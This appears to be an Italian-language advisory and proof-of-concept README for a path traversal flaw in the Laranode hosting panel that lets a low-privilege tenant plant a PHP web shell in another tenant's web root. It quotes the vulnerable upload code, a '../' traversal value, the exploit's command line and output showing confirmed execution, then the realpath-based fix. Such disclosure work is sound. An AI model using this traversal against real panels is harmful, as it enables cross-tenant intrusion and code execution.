
Path Traversal -> RCE in Laranode < 1.2.1 (CWE-22). PoC + advisory writeup.
Ricerca di sicurezza autorizzata. PoC solo per uso difensivo ed educativo.
Un path traversal autenticato nell'endpoint di upload del file manager di Laranode consente a un tenant con privilegi limitati di scrivere file arbitrari al di fuori della propria home directory — inclusa una web shell PHP nella web root di un altro tenant — portando all'esecuzione di codice remoto come quel tenant.
| CVE | CVE-2026-100520 |
| Prodotto | Laranode (pannello di controllo hosting multi-tenant, Laravel) |
| Affected | >= 0, < 1.2.1 |
| Fixed in | v1.2.1 |
| Vulnerabilità | Path Traversal (CWE-22) → Arbitrary File Write → RCE |
| Privilegi | Autenticato (qualsiasi utente del pannello con privilegi limitati) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| Scoperto da | Alisher Qarshibayev |
| Advisory | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php costruisce il percorso di destinazione concatenando direttamente
i campi path e originalName forniti dall'utente sulla
home directory del tenant — senza canonicalizzazione e senza controllo di traversal:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
La route è protetta solo da auth — qualsiasi tenant autenticato può raggiungerla:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
Poiché path accetta sequenze ../, un valore come ../victim/public_html esce dalla
home directory del chiamante e fa finire l'upload nella web root di un altro tenant. Scrivere un
file .php in quella posizione produce l'esecuzione di codice nel momento in cui viene richiesto via HTTP.
Requisiti: un account valido con privilegi limitati sull'istanza Laranode di destinazione (questo è il privilegio che la CVE presuppone). Il PoC effettua il login, recupera il token CSRF e scrive un file PHP marcatore nella web root di un tenant adiacente tramite traversal.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
Risultato atteso — il server conferma la destinazione di scrittura al di fuori della home dell'attaccante:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
Vedi poc.py. La shell marcatore esegue solo id/uname per dimostrare l'esecuzione —
nessuna azione distruttiva.
Aggiornare a Laranode 1.2.1 (fix commit).
La correzione normalizza il percorso risolto e rifiuta qualsiasi destinazione che esca dalla
home directory del tenant (controllo di contenimento con realpath()). Indicazione generale: non costruire mai
percorsi del filesystem da input utente grezzo — canonicalizzare e confermare che il risultato rimanga all'interno
di una directory base consentita.
| Data | Evento |
|---|---|
| 2026-09-21 | Data di divulgazione pubblica |
| 2026-09-26 | CVE-2026-100520 riservata e pubblicata (VulnCheck) |
Divulgata in modo responsabile al fornitore e coordinata tramite VulnCheck. Corretta nella v1.2.1 prima del rilascio di questo PoC. Pubblicata per scopi difensivi ed educativi.